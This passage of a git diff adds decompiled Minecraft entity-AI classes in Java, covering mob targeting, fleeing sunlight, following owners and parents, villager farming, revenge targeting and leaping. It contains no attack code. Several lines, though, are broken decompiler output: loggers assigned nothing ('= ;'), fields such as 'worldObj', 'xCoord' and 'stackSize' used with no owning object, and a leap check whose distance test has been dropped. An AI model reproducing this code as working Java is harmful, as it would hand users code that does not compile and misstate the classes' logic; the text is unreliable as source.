+import java.util.List;
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.world.World;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class EntityAIFindEntityNearest extends EntityAIBase
+{
+  private static final Logger field_179444_a = ;
+  private EntityLiving field_179442_b;
+  private final Predicate field_179443_c;
+  private final EntityAINearestAttackableTarget.Sorter field_179440_d;
+  private EntityLivingBase field_179441_e;
+  private Class field_179439_f;
+  private static final String __OBFID = "CL_00002250";
+  
+  public EntityAIFindEntityNearest(EntityLiving p_i45884_1_, Class p_i45884_2_)
+  {
+    field_179442_b = p_i45884_1_;
+    field_179439_f = p_i45884_2_;
+    
+    if ((p_i45884_1_ instanceof EntityCreature))
+    {
+      field_179444_a.warn("Use NearestAttackableTargetGoal.class for PathfinerMob mobs!");
+    }
+    
+    field_179443_c = new Predicate()
+    {
+      private static final String __OBFID = "CL_00002249";
+      
+      public boolean func_179876_a(EntityLivingBase p_179876_1_) {
+        double var2 = func_179438_f();
+        
+        if (p_179876_1_.isSneaking())
+        {
+          var2 *= 0.800000011920929D;
+        }
+        
+        return p_179876_1_.getDistanceToEntity(field_179442_b) > var2 ? false : p_179876_1_.isInvisible() ? false : EntityAITarget.func_179445_a(field_179442_b, p_179876_1_, false, true);
+      }
+      
+      public boolean apply(Object p_apply_1_) {
+        return func_179876_a((EntityLivingBase)p_apply_1_);
+      }
+    };
+    field_179440_d = new EntityAINearestAttackableTarget.Sorter(p_i45884_1_);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    double var1 = func_179438_f();
+    List var3 = field_179442_b.worldObj.func_175647_a(field_179439_f, field_179442_b.getEntityBoundingBox().expand(var1, 4.0D, var1), field_179443_c);
+    java.util.Collections.sort(var3, field_179440_d);
+    
+    if (var3.isEmpty())
+    {
+      return false;
+    }
+    
+
+    field_179441_e = ((EntityLivingBase)var3.get(0));
+    return true;
+  }
+  
+
+
+
+
+  public boolean continueExecuting()
+  {
+    EntityLivingBase var1 = field_179442_b.getAttackTarget();
+    
+    if (var1 == null)
+    {
+      return false;
+    }
+    if (!var1.isEntityAlive())
+    {
+      return false;
+    }
+    
+
+    double var2 = func_179438_f();
+    return field_179442_b.getDistanceSqToEntity(var1) <= var2 * var2;
+  }
+  
+
+
+
+
+  public void startExecuting()
+  {
+    field_179442_b.setAttackTarget(field_179441_e);
+    super.startExecuting();
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    field_179442_b.setAttackTarget(null);
+    super.startExecuting();
+  }
+  
+  protected double func_179438_f()
+  {
+    IAttributeInstance var1 = field_179442_b.getEntityAttribute(SharedMonsterAttributes.followRange);
+    return var1 == null ? 16.0D : var1.getAttributeValue();
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer.java b/src/minecraft/net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer.java
new file mode 100644
index 0000000..be785c8
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer.java
@@ -0,0 +1,152 @@
+package net.minecraft.entity.ai;
+
+import com.google.common.base.Predicate;
+import java.util.List;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.scoreboard.Team;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.world.World;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class EntityAIFindEntityNearestPlayer extends EntityAIBase
+{
+  private static final Logger field_179436_a = ;
+  private EntityLiving field_179434_b;
+  private final Predicate field_179435_c;
+  private final EntityAINearestAttackableTarget.Sorter field_179432_d;
+  private EntityLivingBase field_179433_e;
+  private static final String __OBFID = "CL_00002248";
+  
+  public EntityAIFindEntityNearestPlayer(EntityLiving p_i45882_1_)
+  {
+    field_179434_b = p_i45882_1_;
+    
+    if ((p_i45882_1_ instanceof EntityCreature))
+    {
+      field_179436_a.warn("Use NearestAttackableTargetGoal.class for PathfinerMob mobs!");
+    }
+    
+    field_179435_c = new Predicate()
+    {
+      private static final String __OBFID = "CL_00002247";
+      
+      public boolean func_179880_a(Entity p_179880_1_) {
+        if (!(p_179880_1_ instanceof EntityPlayer))
+        {
+          return false;
+        }
+        
+
+        double var2 = func_179431_f();
+        
+        if (p_179880_1_.isSneaking())
+        {
+          var2 *= 0.800000011920929D;
+        }
+        
+        if (p_179880_1_.isInvisible())
+        {
+          float var4 = ((EntityPlayer)p_179880_1_).getArmorVisibility();
+          
+          if (var4 < 0.1F)
+          {
+            var4 = 0.1F;
+          }
+          
+          var2 *= 0.7F * var4;
+        }
+        
+        return p_179880_1_.getDistanceToEntity(field_179434_b) > var2 ? false : EntityAITarget.func_179445_a(field_179434_b, (EntityLivingBase)p_179880_1_, false, true);
+      }
+      
+      public boolean apply(Object p_apply_1_)
+      {
+        return func_179880_a((Entity)p_apply_1_);
+      }
+    };
+    field_179432_d = new EntityAINearestAttackableTarget.Sorter(p_i45882_1_);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    double var1 = func_179431_f();
+    List var3 = field_179434_b.worldObj.func_175647_a(EntityPlayer.class, field_179434_b.getEntityBoundingBox().expand(var1, 4.0D, var1), field_179435_c);
+    java.util.Collections.sort(var3, field_179432_d);
+    
+    if (var3.isEmpty())
+    {
+      return false;
+    }
+    
+
+    field_179433_e = ((EntityLivingBase)var3.get(0));
+    return true;
+  }
+  
+
+
+
+
+  public boolean continueExecuting()
+  {
+    EntityLivingBase var1 = field_179434_b.getAttackTarget();
+    
+    if (var1 == null)
+    {
+      return false;
+    }
+    if (!var1.isEntityAlive())
+    {
+      return false;
+    }
+    
+
+    Team var2 = field_179434_b.getTeam();
+    Team var3 = var1.getTeam();
+    
+    if ((var2 != null) && (var3 == var2))
+    {
+      return false;
+    }
+    
+
+    double var4 = func_179431_f();
+    return field_179434_b.getDistanceSqToEntity(var1) <= var4 * var4;
+  }
+  
+
+
+
+
+
+  public void startExecuting()
+  {
+    field_179434_b.setAttackTarget(field_179433_e);
+    super.startExecuting();
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    field_179434_b.setAttackTarget(null);
+    super.startExecuting();
+  }
+  
+  protected double func_179431_f()
+  {
+    IAttributeInstance var1 = field_179434_b.getEntityAttribute(SharedMonsterAttributes.followRange);
+    return var1 == null ? 16.0D : var1.getAttributeValue();
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIFleeSun.java b/src/minecraft/net/minecraft/entity/ai/EntityAIFleeSun.java
new file mode 100644
index 0000000..0133c07
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIFleeSun.java
@@ -0,0 +1,95 @@
+package net.minecraft.entity.ai;
+
+import java.util.Random;
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+
+public class EntityAIFleeSun extends EntityAIBase
+{
+  private EntityCreature theCreature;
+  private double shelterX;
+  private double shelterY;
+  private double shelterZ;
+  private double movementSpeed;
+  private World theWorld;
+  private static final String __OBFID = "CL_00001583";
+  
+  public EntityAIFleeSun(EntityCreature p_i1623_1_, double p_i1623_2_)
+  {
+    theCreature = p_i1623_1_;
+    movementSpeed = p_i1623_2_;
+    theWorld = worldObj;
+    setMutexBits(1);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if (!theWorld.isDaytime())
+    {
+      return false;
+    }
+    if (!theCreature.isBurning())
+    {
+      return false;
+    }
+    if (!theWorld.isAgainstSky(new BlockPos(theCreature.posX, theCreature.getEntityBoundingBox().minY, theCreature.posZ)))
+    {
+      return false;
+    }
+    
+
+    Vec3 var1 = findPossibleShelter();
+    
+    if (var1 == null)
+    {
+      return false;
+    }
+    
+
+    shelterX = xCoord;
+    shelterY = yCoord;
+    shelterZ = zCoord;
+    return true;
+  }
+  
+
+
+
+
+
+  public boolean continueExecuting()
+  {
+    return !theCreature.getNavigator().noPath();
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    theCreature.getNavigator().tryMoveToXYZ(shelterX, shelterY, shelterZ, movementSpeed);
+  }
+  
+  private Vec3 findPossibleShelter()
+  {
+    Random var1 = theCreature.getRNG();
+    BlockPos var2 = new BlockPos(theCreature.posX, theCreature.getEntityBoundingBox().minY, theCreature.posZ);
+    
+    for (int var3 = 0; var3 < 10; var3++)
+    {
+      BlockPos var4 = var2.add(var1.nextInt(20) - 10, var1.nextInt(6) - 3, var1.nextInt(20) - 10);
+      
+      if ((!theWorld.isAgainstSky(var4)) && (theCreature.func_180484_a(var4) < 0.0F))
+      {
+        return new Vec3(var4.getX(), var4.getY(), var4.getZ());
+      }
+    }
+    
+    return null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIFollowGolem.java b/src/minecraft/net/minecraft/entity/ai/EntityAIFollowGolem.java
new file mode 100644
index 0000000..98e57a3
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIFollowGolem.java
@@ -0,0 +1,109 @@
+package net.minecraft.entity.ai;
+
+import java.util.Iterator;
+import net.minecraft.entity.monster.EntityIronGolem;
+import net.minecraft.entity.passive.EntityVillager;
+import net.minecraft.pathfinding.PathNavigate;
+
+public class EntityAIFollowGolem extends EntityAIBase
+{
+  private EntityVillager theVillager;
+  private EntityIronGolem theGolem;
+  private int takeGolemRoseTick;
+  private boolean tookGolemRose;
+  private static final String __OBFID = "CL_00001615";
+  
+  public EntityAIFollowGolem(EntityVillager p_i1656_1_)
+  {
+    theVillager = p_i1656_1_;
+    setMutexBits(3);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if (theVillager.getGrowingAge() >= 0)
+    {
+      return false;
+    }
+    if (!theVillager.worldObj.isDaytime())
+    {
+      return false;
+    }
+    
+
+    java.util.List var1 = theVillager.worldObj.getEntitiesWithinAABB(EntityIronGolem.class, theVillager.getEntityBoundingBox().expand(6.0D, 2.0D, 6.0D));
+    
+    if (var1.isEmpty())
+    {
+      return false;
+    }
+    
+
+    Iterator var2 = var1.iterator();
+    
+    while (var2.hasNext())
+    {
+      EntityIronGolem var3 = (EntityIronGolem)var2.next();
+      
+      if (var3.getHoldRoseTick() > 0)
+      {
+        theGolem = var3;
+        break;
+      }
+    }
+    
+    return theGolem != null;
+  }
+  
+
+
+
+
+
+  public boolean continueExecuting()
+  {
+    return theGolem.getHoldRoseTick() > 0;
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    takeGolemRoseTick = theVillager.getRNG().nextInt(320);
+    tookGolemRose = false;
+    theGolem.getNavigator().clearPathEntity();
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    theGolem = null;
+    theVillager.getNavigator().clearPathEntity();
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    theVillager.getLookHelper().setLookPositionWithEntity(theGolem, 30.0F, 30.0F);
+    
+    if (theGolem.getHoldRoseTick() == takeGolemRoseTick)
+    {
+      theVillager.getNavigator().tryMoveToEntityLiving(theGolem, 0.5D);
+      tookGolemRose = true;
+    }
+    
+    if ((tookGolemRose) && (theVillager.getDistanceSqToEntity(theGolem) < 4.0D))
+    {
+      theGolem.setHoldingRose(false);
+      theVillager.getNavigator().clearPathEntity();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIFollowOwner.java b/src/minecraft/net/minecraft/entity/ai/EntityAIFollowOwner.java
new file mode 100644
index 0000000..ae56178
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIFollowOwner.java
@@ -0,0 +1,135 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntityTameable;
+import net.minecraft.pathfinding.PathNavigate;
+import net.minecraft.pathfinding.PathNavigateGround;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class EntityAIFollowOwner extends EntityAIBase
+{
+  private EntityTameable thePet;
+  private EntityLivingBase theOwner;
+  World theWorld;
+  private double field_75336_f;
+  private PathNavigate petPathfinder;
+  private int field_75343_h;
+  float maxDist;
+  float minDist;
+  private boolean field_75344_i;
+  private static final String __OBFID = "CL_00001585";
+  
+  public EntityAIFollowOwner(EntityTameable p_i1625_1_, double p_i1625_2_, float p_i1625_4_, float p_i1625_5_)
+  {
+    thePet = p_i1625_1_;
+    theWorld = worldObj;
+    field_75336_f = p_i1625_2_;
+    petPathfinder = p_i1625_1_.getNavigator();
+    minDist = p_i1625_4_;
+    maxDist = p_i1625_5_;
+    setMutexBits(3);
+    
+    if (!(p_i1625_1_.getNavigator() instanceof PathNavigateGround))
+    {
+      throw new IllegalArgumentException("Unsupported mob type for FollowOwnerGoal");
+    }
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    EntityLivingBase var1 = thePet.func_180492_cm();
+    
+    if (var1 == null)
+    {
+      return false;
+    }
+    if (thePet.isSitting())
+    {
+      return false;
+    }
+    if (thePet.getDistanceSqToEntity(var1) < minDist * minDist)
+    {
+      return false;
+    }
+    
+
+    theOwner = var1;
+    return true;
+  }
+  
+
+
+
+
+  public boolean continueExecuting()
+  {
+    return (!petPathfinder.noPath()) && (thePet.getDistanceSqToEntity(theOwner) > maxDist * maxDist) && (!thePet.isSitting());
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    field_75343_h = 0;
+    field_75344_i = ((PathNavigateGround)thePet.getNavigator()).func_179689_e();
+    ((PathNavigateGround)thePet.getNavigator()).func_179690_a(false);
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    theOwner = null;
+    petPathfinder.clearPathEntity();
+    ((PathNavigateGround)thePet.getNavigator()).func_179690_a(true);
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    thePet.getLookHelper().setLookPositionWithEntity(theOwner, 10.0F, thePet.getVerticalFaceSpeed());
+    
+    if (!thePet.isSitting())
+    {
+      if (--field_75343_h <= 0)
+      {
+        field_75343_h = 10;
+        
+        if (!petPathfinder.tryMoveToEntityLiving(theOwner, field_75336_f))
+        {
+          if (!thePet.getLeashed())
+          {
+            if (thePet.getDistanceSqToEntity(theOwner) >= 144.0D)
+            {
+              int var1 = MathHelper.floor_double(theOwner.posX) - 2;
+              int var2 = MathHelper.floor_double(theOwner.posZ) - 2;
+              int var3 = MathHelper.floor_double(theOwner.getEntityBoundingBox().minY);
+              
+              for (int var4 = 0; var4 <= 4; var4++)
+              {
+                for (int var5 = 0; var5 <= 4; var5++)
+                {
+                  if (((var4 < 1) || (var5 < 1) || (var4 > 3) || (var5 > 3)) && (World.doesBlockHaveSolidTopSurface(theWorld, new BlockPos(var1 + var4, var3 - 1, var2 + var5))) && (!theWorld.getBlockState(new BlockPos(var1 + var4, var3, var2 + var5)).getBlock().isFullCube()) && (!theWorld.getBlockState(new BlockPos(var1 + var4, var3 + 1, var2 + var5)).getBlock().isFullCube()))
+                  {
+                    thePet.setLocationAndAngles(var1 + var4 + 0.5F, var3, var2 + var5 + 0.5F, thePet.rotationYaw, thePet.rotationPitch);
+                    petPathfinder.clearPathEntity();
+                    return;
+                  }
+                }
+              }
+            }
+          }
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIFollowParent.java b/src/minecraft/net/minecraft/entity/ai/EntityAIFollowParent.java
new file mode 100644
index 0000000..060dda8
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIFollowParent.java
@@ -0,0 +1,117 @@
+package net.minecraft.entity.ai;
+
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.entity.passive.EntityAnimal;
+import net.minecraft.util.AxisAlignedBB;
+
+public class EntityAIFollowParent extends EntityAIBase
+{
+  EntityAnimal childAnimal;
+  EntityAnimal parentAnimal;
+  double field_75347_c;
+  private int field_75345_d;
+  private static final String __OBFID = "CL_00001586";
+  
+  public EntityAIFollowParent(EntityAnimal p_i1626_1_, double p_i1626_2_)
+  {
+    childAnimal = p_i1626_1_;
+    field_75347_c = p_i1626_2_;
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if (childAnimal.getGrowingAge() >= 0)
+    {
+      return false;
+    }
+    
+
+    List var1 = childAnimal.worldObj.getEntitiesWithinAABB(childAnimal.getClass(), childAnimal.getEntityBoundingBox().expand(8.0D, 4.0D, 8.0D));
+    EntityAnimal var2 = null;
+    double var3 = Double.MAX_VALUE;
+    Iterator var5 = var1.iterator();
+    
+    while (var5.hasNext())
+    {
+      EntityAnimal var6 = (EntityAnimal)var5.next();
+      
+      if (var6.getGrowingAge() >= 0)
+      {
+        double var7 = childAnimal.getDistanceSqToEntity(var6);
+        
+        if (var7 <= var3)
+        {
+          var3 = var7;
+          var2 = var6;
+        }
+      }
+    }
+    
+    if (var2 == null)
+    {
+      return false;
+    }
+    if (var3 < 9.0D)
+    {
+      return false;
+    }
+    
+
+    parentAnimal = var2;
+    return true;
+  }
+  
+
+
+
+
+
+  public boolean continueExecuting()
+  {
+    if (childAnimal.getGrowingAge() >= 0)
+    {
+      return false;
+    }
+    if (!parentAnimal.isEntityAlive())
+    {
+      return false;
+    }
+    
+
+    double var1 = childAnimal.getDistanceSqToEntity(parentAnimal);
+    return (var1 >= 9.0D) && (var1 <= 256.0D);
+  }
+  
+
+
+
+
+  public void startExecuting()
+  {
+    field_75345_d = 0;
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    parentAnimal = null;
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    if (--field_75345_d <= 0)
+    {
+      field_75345_d = 10;
+      childAnimal.getNavigator().tryMoveToEntityLiving(parentAnimal, field_75347_c);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIHarvestFarmland.java b/src/minecraft/net/minecraft/entity/ai/EntityAIHarvestFarmland.java
new file mode 100644
index 0000000..120d958
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIHarvestFarmland.java
@@ -0,0 +1,163 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockCrops;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.passive.EntityVillager;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.inventory.InventoryBasic;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class EntityAIHarvestFarmland extends EntityAIMoveToBlock
+{
+  private final EntityVillager field_179504_c;
+  private boolean field_179502_d;
+  private boolean field_179503_e;
+  private int field_179501_f;
+  private static final String __OBFID = "CL_00002253";
+  
+  public EntityAIHarvestFarmland(EntityVillager p_i45889_1_, double p_i45889_2_)
+  {
+    super(p_i45889_1_, p_i45889_2_, 16);
+    field_179504_c = p_i45889_1_;
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if (field_179496_a <= 0)
+    {
+      if (!field_179504_c.worldObj.getGameRules().getGameRuleBooleanValue("mobGriefing"))
+      {
+        return false;
+      }
+      
+      field_179501_f = -1;
+      field_179502_d = field_179504_c.func_175556_cs();
+      field_179503_e = field_179504_c.func_175557_cr();
+    }
+    
+    return super.shouldExecute();
+  }
+  
+
+
+
+  public boolean continueExecuting()
+  {
+    return (field_179501_f >= 0) && (super.continueExecuting());
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    super.startExecuting();
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    super.resetTask();
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    super.updateTask();
+    field_179504_c.getLookHelper().setLookPosition(field_179494_b.getX() + 0.5D, field_179494_b.getY() + 1, field_179494_b.getZ() + 0.5D, 10.0F, field_179504_c.getVerticalFaceSpeed());
+    
+    if (func_179487_f())
+    {
+      World var1 = field_179504_c.worldObj;
+      BlockPos var2 = field_179494_b.offsetUp();
+      IBlockState var3 = var1.getBlockState(var2);
+      Block var4 = var3.getBlock();
+      
+      if ((field_179501_f == 0) && ((var4 instanceof BlockCrops)) && (((Integer)var3.getValue(BlockCrops.AGE)).intValue() == 7))
+      {
+        var1.destroyBlock(var2, true);
+      }
+      else if ((field_179501_f == 1) && (var4 == Blocks.air))
+      {
+        InventoryBasic var5 = field_179504_c.func_175551_co();
+        
+        for (int var6 = 0; var6 < var5.getSizeInventory(); var6++)
+        {
+          ItemStack var7 = var5.getStackInSlot(var6);
+          boolean var8 = false;
+          
+          if (var7 != null)
+          {
+            if (var7.getItem() == Items.wheat_seeds)
+            {
+              var1.setBlockState(var2, Blocks.wheat.getDefaultState(), 3);
+              var8 = true;
+            }
+            else if (var7.getItem() == Items.potato)
+            {
+              var1.setBlockState(var2, Blocks.potatoes.getDefaultState(), 3);
+              var8 = true;
+            }
+            else if (var7.getItem() == Items.carrot)
+            {
+              var1.setBlockState(var2, Blocks.carrots.getDefaultState(), 3);
+              var8 = true;
+            }
+          }
+          
+          if (var8)
+          {
+            stackSize -= 1;
+            
+            if (stackSize > 0)
+              break;
+            var5.setInventorySlotContents(var6, null);
+            
+
+            break;
+          }
+        }
+      }
+      
+      field_179501_f = -1;
+      field_179496_a = 10;
+    }
+  }
+  
+  protected boolean func_179488_a(World worldIn, BlockPos p_179488_2_)
+  {
+    Block var3 = worldIn.getBlockState(p_179488_2_).getBlock();
+    
+    if (var3 == Blocks.farmland)
+    {
+      p_179488_2_ = p_179488_2_.offsetUp();
+      IBlockState var4 = worldIn.getBlockState(p_179488_2_);
+      var3 = var4.getBlock();
+      
+      if (((var3 instanceof BlockCrops)) && (((Integer)var4.getValue(BlockCrops.AGE)).intValue() == 7) && (field_179503_e) && ((field_179501_f == 0) || (field_179501_f < 0)))
+      {
+        field_179501_f = 0;
+        return true;
+      }
+      
+      if ((var3 == Blocks.air) && (field_179502_d) && ((field_179501_f == 1) || (field_179501_f < 0)))
+      {
+        field_179501_f = 1;
+        return true;
+      }
+    }
+    
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIHurtByTarget.java b/src/minecraft/net/minecraft/entity/ai/EntityAIHurtByTarget.java
new file mode 100644
index 0000000..1bc9bfa
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIHurtByTarget.java
@@ -0,0 +1,85 @@
+package net.minecraft.entity.ai;
+
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.world.World;
+
+public class EntityAIHurtByTarget
+  extends EntityAITarget
+{
+  private boolean entityCallsForHelp;
+  private int revengeTimerOld;
+  private final Class[] field_179447_c;
+  private static final String __OBFID = "CL_00001619";
+  
+  public EntityAIHurtByTarget(EntityCreature p_i45885_1_, boolean p_i45885_2_, Class... p_i45885_3_)
+  {
+    super(p_i45885_1_, false);
+    entityCallsForHelp = p_i45885_2_;
+    field_179447_c = p_i45885_3_;
+    setMutexBits(1);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    int var1 = taskOwner.getRevengeTimer();
+    return (var1 != revengeTimerOld) && (isSuitableTarget(taskOwner.getAITarget(), false));
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    taskOwner.setAttackTarget(taskOwner.getAITarget());
+    revengeTimerOld = taskOwner.getRevengeTimer();
+    
+    if (entityCallsForHelp)
+    {
+      double var1 = getTargetDistance();
+      List var3 = taskOwner.worldObj.getEntitiesWithinAABB(taskOwner.getClass(), new AxisAlignedBB(taskOwner.posX, taskOwner.posY, taskOwner.posZ, taskOwner.posX + 1.0D, taskOwner.posY + 1.0D, taskOwner.posZ + 1.0D).expand(var1, 10.0D, var1));
+      Iterator var4 = var3.iterator();
+      
+      while (var4.hasNext())
+      {
+        EntityCreature var5 = (EntityCreature)var4.next();
+        
+        if ((taskOwner != var5) && (var5.getAttackTarget() == null) && (!var5.isOnSameTeam(taskOwner.getAITarget())))
+        {
+          boolean var6 = false;
+          Class[] var7 = field_179447_c;
+          int var8 = var7.length;
+          
+          for (int var9 = 0; var9 < var8; var9++)
+          {
+            Class var10 = var7[var9];
+            
+            if (var5.getClass() == var10)
+            {
+              var6 = true;
+              break;
+            }
+          }
+          
+          if (!var6)
+          {
+            func_179446_a(var5, taskOwner.getAITarget());
+          }
+        }
+      }
+    }
+    
+    super.startExecuting();
+  }
+  
+  protected void func_179446_a(EntityCreature p_179446_1_, EntityLivingBase p_179446_2_)
+  {
+    p_179446_1_.setAttackTarget(p_179446_2_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAILeapAtTarget.java b/src/minecraft/net/minecraft/entity/ai/EntityAILeapAtTarget.java
new file mode 100644
index 0000000..6c9d489
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAILeapAtTarget.java
@@ -0,0 +1,64 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.util.MathHelper;
+
+
+
+
+
+public class EntityAILeapAtTarget
+  extends EntityAIBase
+{
+  EntityLiving leaper;
+  EntityLivingBase leapTarget;
+  float leapMotionY;
+  private static final String __OBFID = "CL_00001591";
+  
+  public EntityAILeapAtTarget(EntityLiving p_i1630_1_, float p_i1630_2_)
+  {
+    leaper = p_i1630_1_;
+    leapMotionY = p_i1630_2_;
+    setMutexBits(5);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    leapTarget = leaper.getAttackTarget();
+    
+    if (leapTarget == null)
+    {
+      return false;
+    }
+    
+
+    double var1 = leaper.getDistanceSqToEntity(leapTarget);
+    return leaper.onGround;
+  }
+  
+
+
+
+
+  public boolean continueExecuting()
+  {
+    return !leaper.onGround;
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    double var1 = leapTarget.posX - leaper.posX;
+    double var3 = leapTarget.posZ - leaper.posZ;
+    float var5 = MathHelper.sqrt_double(var1 * var1 + var3 * var3);
+    leaper.motionX += var1 / var5 * 0.5D * 0.800000011920929D + leaper.motionX * 0.20000000298023224D;
+    leaper.motionZ += var3 / var5 * 0.5D * 0.800000011920929D + leaper.motionZ * 0.20000000298023224D;
+    leaper.motionY = leapMotionY;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAILookAtTradePlayer.java b/src/minecraft/net/minecraft/entity/ai/EntityAILookAtTradePlayer.java
new file mode 100644
index 0000000..c331092
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAILookAtTradePlayer.java
@@ -0,0 +1,31 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.passive.EntityVillager;
+import net.minecraft.entity.player.EntityPlayer;
+
+public class EntityAILookAtTradePlayer extends EntityAIWatchClosest
+{
+  private final EntityVillager theMerchant;
+  private static final String __OBFID = "CL_00001593";
+  
+  public EntityAILookAtTradePlayer(EntityVillager p_i1633_1_)
+  {
+    super(p_i1633_1_, EntityPlayer.class, 8.0F);
+    theMerchant = p_i1633_1_;
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if (theMerchant.isTrading())
+    {
+      closestEntity = theMerchant.getCustomer();
+      return true;
+    }
+    
+
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAILookAtVillager.java b/src/minecraft/net/minecraft/entity/ai/EntityAILookAtVillager.java
new file mode 100644
index 0000000..5d72a59
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAILookAtVillager.java
@@ -0,0 +1,73 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.monster.EntityIronGolem;
+import net.minecraft.entity.passive.EntityVillager;
+
+public class EntityAILookAtVillager extends EntityAIBase
+{
+  private EntityIronGolem theGolem;
+  private EntityVillager theVillager;
+  private int lookTime;
+  private static final String __OBFID = "CL_00001602";
+  
+  public EntityAILookAtVillager(EntityIronGolem p_i1643_1_)
+  {
+    theGolem = p_i1643_1_;
+    setMutexBits(3);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if (!theGolem.worldObj.isDaytime())
+    {
+      return false;
+    }
+    if (theGolem.getRNG().nextInt(8000) != 0)
+    {
+      return false;
+    }
+    
+
+    theVillager = ((EntityVillager)theGolem.worldObj.findNearestEntityWithinAABB(EntityVillager.class, theGolem.getEntityBoundingBox().expand(6.0D, 2.0D, 6.0D), theGolem));
+    return theVillager != null;
+  }
+  
+
+
+
+
+  public boolean continueExecuting()
+  {
+    return lookTime > 0;
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    lookTime = 400;
+    theGolem.setHoldingRose(true);
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    theGolem.setHoldingRose(false);
+    theVillager = null;
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    theGolem.getLookHelper().setLookPositionWithEntity(theVillager, 30.0F, 30.0F);
+    lookTime -= 1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAILookIdle.java b/src/minecraft/net/minecraft/entity/ai/EntityAILookIdle.java
new file mode 100644
index 0000000..6dcab13
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAILookIdle.java
@@ -0,0 +1,63 @@
+package net.minecraft.entity.ai;
+
+import java.util.Random;
+import net.minecraft.entity.EntityLiving;
+
+
+
+
